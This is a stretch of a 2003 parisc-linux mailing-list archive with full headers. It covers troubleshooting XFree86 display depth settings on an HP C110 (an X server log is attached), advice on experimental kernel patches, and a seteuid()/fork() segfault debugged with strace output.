> So, if you change the in SubSection "Display" the Depth to 32 it should
> work:
> Example:
>     SubSection "Display"
>                 Depth           32               # 8, 16, 24 or 32
(acording
> to "fbset -i")
>                 Modes           "1280x1024"     # "1024x768" or
"1280x1024"
>         EndSubSection
> 
> You don't seem to have HIL, but IIRC the ps/2 driver uses the same
> /dev/input/mice 
> interface.
> 
> Regards,
> Helge
> 
>

Hi Miten,

   Your log now complains there is no Depth 24 section.  So, I suggest to
ADD that section just above/below the Depth 32 section.

Example:

Section "Screen"
	Identifier	"Default Screen"
	Device		"Generic Video Card"
	Monitor		"Generic Monitor"
	SubSection "Display"
		Depth		24		# 8, 16, 24 or 32
		Modes		"1280x1024"	# "1024x768" or "1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		32		# 8, 16, 24 or 32
		Modes		"1280x1024"	# "1024x768" or "1280x1024"
	EndSubSection
EndSection

--
Best Regards,
   Keith


------_=_NextPart_000_01C2C800.2889A620
Content-Type: application/octet-stream;
	name="XFree86.0.log"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="XFree86.0.log"


This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 21 December 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.16-64 parisc64 [ELF]=20
(=3D=3D) Log file: "/var/log/XFree86.0.log", Time: Thu Jan 30 01:41:26 =
2003
(=3D=3D) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (=3D=3D) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(=3D=3D) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "Generic Monitor"
(**) |   |-->Device "Generic Video Card"
(**) |-->Input Device "Keyboard"
(=3D=3D) Keyboard: CustomKeycode disabled
(**) |-->Input Device "Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
	Entry deleted from font path.
(**) FontPath set to =
"unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100dpi/:unscaled,=
/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11=
/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
(=3D=3D) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 7

(WW) Cannot open APM
(EE) No OS PCI support available
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, =
pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, =
86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, =
cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, =
ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : =
imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(II) FBDev(0): using default device
(II) Running in FRAMEBUFFER Mode
(=3D=3D) FBDev(0): Depth 24, (=3D=3D) framebuffer bpp 24
(=3D=3D) FBDev(0): RGB weight 888
(=3D=3D) FBDev(0): Default visual is TrueColor
(=3D=3D) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDev(0): Hardware:  (vidmem: 16384k)
(II) FBDev(0): Checking Modes against framebuffer device...
(II) FBDev(0): 	mode "1280x1024" ok
(II) FBDev(0): Checking Modes against monitor...
(--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDev(0): Default mode "1280x1024": 108.0 MHz (scaled from 0.0 =
MHz), 64.0 kHz, 60.0 Hz
(II) FBDev(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 =
1025 1028 1066 +hsync +vsync
(++) FBDev(0): DPI set to (100, 100)
(**) FBDev(0): Using "Shadow Framebuffer"
(--) Depth 24 pixmap format is 24 bpp

Fatal server error:
AddScreen/ScreenInit failed for driver 0


When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.


------_=_NextPart_000_01C2C800.2889A620--


From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Um,
Date: Wed, 29 Jan 2003 18:53:45 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030130015345.GC12749@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0301291311490.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622161 20779 80.91.229.3 (22 Nov 2014 02:09:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 18:53:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C46EE482D; Wed, 29 Jan 2003 18:53:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301291311490.235-100000@jordan.eng.nateng.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17543

On Wed, Jan 29, 2003 at 01:13:20PM -0800, Sir Ace wrote:
> 
> I quickly browsed /patches, but there doesn't seem to be anything that
> tells about them, {mor ethan thier names} or if they have already been
> includeded in a tree....

the parisc-linux mail archive should say something about them.

> Is there a list of some sort or should I just use all the patches?

All patches not committed to CVS are experimental.
Don't take *any* of them unless you have evidence one of them
will solve a problem you are experiencing....and then if it
does, make noise so we know that particular patch needs to get
committed to CVS.

thanks,
grant


From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Um,
Date: Wed, 29 Jan 2003 17:55:57 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301291755210.235-100000@jordan.eng.nateng.com>
References: <20030130015345.GC12749@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622161 20785 80.91.229.3 (22 Nov 2014 02:09:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:21 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 18:56:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 445E9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 18:56:22 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0U2BEp03799
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 18:11:14 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0U1tvE01929
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 17:55:57 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <20030130015345.GC12749@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17544


> the parisc-linux mail archive should say something about them.

Ok

> All patches not committed to CVS are experimental.
> Don't take *any* of them unless you have evidence one of them
> will solve a problem you are experiencing....and then if it
> does, make noise so we know that particular patch needs to get
> committed to CVS.

Ok..





From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Hopkins <kxh3@wwarc1.atl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: X windows setup on C110 with woody and ker
 nel-2.4.20pa22
Date: Thu, 30 Jan 2003 12:06:36 +0900
Organization: Hewlett-Packard
Lines: 18
Approved: news@gmane.org
Message-ID: <3E3896BC.8080308@wwarc1.atl.hp.com>
References: <5D69EA3878E6D411B43C00508BFD7283049FB553@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622162 20787 80.91.229.3 (22 Nov 2014 02:09:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 20:07:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jpnsmtp6.jpn.hp.com (jpnrel6.hp.com [128.88.255.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA177482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 20:07:03 -0700 (MST)
Original-Received: from ejp0874l.jpn.hp.com (ejp0874l.jpn.hp.com [15.78.133.99])
	by jpnsmtp6.jpn.hp.com (8.9.3/3.7W-Tokyo-MailGateway 08/05/02) with ESMTP id MAA23542;
	Thu, 30 Jan 2003 12:08:18 +0900 (JST)
Original-Received: from wwarc1.atl.hp.com (IDENT:CxN2tQSxAFVkotJctjU5dBMcgHLH7kKX@ejp0874l.jpn.hp.com [127.0.0.1])
	by ejp0874l.jpn.hp.com (8.11.6/8.11.6) with ESMTP id h0U36aV29398;
	Thu, 30 Jan 2003 12:06:37 +0900
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17545

Mehta, Miten wrote:
> Hello,
> 
> I still get errors for depth 24 though some what different.
> 
> take a look at xfree log attached.
> 

Please post the output of  "dmesg | grep -e STI -e stifb".

--
Best Regards,
    Keith






From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Wed, 29 Jan 2003 23:03:40 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20030130070340.GI20940@tausq.org>
References: <20030113031109.GI1177@tausq.org> <3E35CAE7000006D8@ocpmta7.freegates.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622162 20791 80.91.229.3 (22 Nov 2014 02:09:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:22 +0000 (UTC)
Cc: Luigi Gangitano <luigi@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 00:19:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9450482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 00:19:20 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E2D5ACDA56; Wed, 29 Jan 2003 23:03:40 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E35CAE7000006D8@ocpmta7.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17546

> A. On a testing debian system (ie gcc-3.0 3.0.4-10 && libc6 2.2.5-14.3) and
> the very last kernel 2.4.20-pa23:
> 
> Compile with gcc -O 2 -Wall -D_REENTRANT foo.c -o foo
> 
> [ Create a user and a group named proxy with id 13 for both ]
> 
> First as it is ./foo would failled to fork() immediately with 'Segmentation
> fault'.

# uname -a
Linux legolas 2.4.20-pa23 #110 Mon Jan 27 23:44:18 PST 2003 parisc unknown unknown GNU/Linux

ii  gcc-3.0        3.0.4-7        The GNU C compiler.
ii  libc6          2.2.5-14.3     GNU C Library: Shared libraries and Timezone

# gcc-3.0 -O2 -Wall -D_REENTRANT seteuid.c -o seteuid
# ./seteuid
leave_suid: PID 18443 called
leave_suid: PID 18443 giving up root, becoming 'proxy'
Creating Swap Directories
[....]

no segfault... 

can you maybe run it with strace and send the last few lines of output?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Thu, 30 Jan 2003 08:37:26 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <3E35C33F0000092D@ocpmta3.freegates.net>
References: <20030130070340.GI20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622162 20794 80.91.229.3 (22 Nov 2014 02:09:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:22 +0000 (UTC)
Cc: "Luigi Gangitano" <luigi@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 00:37:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A72B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 00:37:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18e9GJ-0000Mk-00; Thu, 30 Jan 2003 08:37:27 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 30 Jan 2003 08:37:26 +0100
In-Reply-To: <20030130070340.GI20940@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17547

Randolph,

>
>
>> A. On a testing debian system (ie gcc-3.0 3.0.4-10 && libc6 2.2.5-14.3)
>and
>> the very last kernel 2.4.20-pa23:
>> 
>> Compile with gcc -O 2 -Wall -D_REENTRANT foo.c -o foo
>> 
>> [ Create a user and a group named proxy with id 13 for both ]
>> 
>> First as it is ./foo would failled to fork() immediately with 'Segmentation
>> fault'.
>
># uname -a
>Linux legolas 2.4.20-pa23 #110 Mon Jan 27 23:44:18 PST 2003 parisc unknown
>unknown GNU/Linux
>
>ii  gcc-3.0        3.0.4-7        The GNU C compiler.
>ii  libc6          2.2.5-14.3     GNU C Library: Shared libraries and Timezone
>
># gcc-3.0 -O2 -Wall -D_REENTRANT seteuid.c -o seteuid
># ./seteuid
>leave_suid: PID 18443 called
>leave_suid: PID 18443 giving up root, becoming 'proxy'
>Creating Swap Directories
>[....]
>
>no segfault... 
>
>can you maybe run it with strace and send the last few lines of output?
>
Well so short that I can give you all:

ii  gcc-3.0        3.0.4-10       The GNU C compiler.
ii  gcc-3.0-base   3.0.4-10       The GNU Compiler Collection (base package).
ii  libc6          2.2.5-14.3     GNU C Library: Shared libraries and Timezone


# strace -f ./a.out
execve("./a.out", ["./a.out"], [/* 18 vars */]) = 0
newuname({sys="Linux", node="fw01.office.palinux", ...}) = 0
brk(0)                                  = 0x26000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x40017000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 16726, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\37"..., 1024)
= 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1392404, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40028000
mprotect(0x4015f000, 118548, PROT_NONE) = 0
mmap(0x4016e000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
3, 0x136000) = 0x4016e000
mmap(0x40179000, 12052, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0) = 0x40179000
close(3)                                = 0
munmap(0x40018000, 16726)               = 0
getpid()                                = 25520
write(2, "leave_suid: PID 25520 called\n", 29leave_suid: PID 25520 called
) = 29
geteuid()                               = 0
setgroups(1, [13])                      = 0
setgid(13)                              = 0
getpid()                                = 25520
write(2, "leave_suid: PID 25520 giving up "..., 55leave_suid: PID 25520 giving
up root, becoming 'proxy'
) = 55
setresuid(ruid 4294967295, euid 13, suid 4294967295) = 0
geteuid()                               = 13
write(2, "Creating Swap Directories\n", 26Creating Swap Directories
) = 26
fork()                                  = -1 EAGAIN (Resource temporarily
unavailable)
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++


Well as explained in a previous mail if I do a su - proxy and launch same
program no problem to fork() ??

Thanks for your attention,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Wed, 29 Jan 2003 23:54:03 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20030130075403.GK20940@tausq.org>
References: <20030130073214.GJ20940@tausq.org> <3E35C33F0000094B@ocpmta3.freegates.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622163 20795 80.91.229.3 (22 Nov 2014 02:09:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 01:10:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5104482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 01:10:06 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B1BE0CDA56; Wed, 29 Jan 2003 23:54:03 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E35C33F0000094B@ocpmta3.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
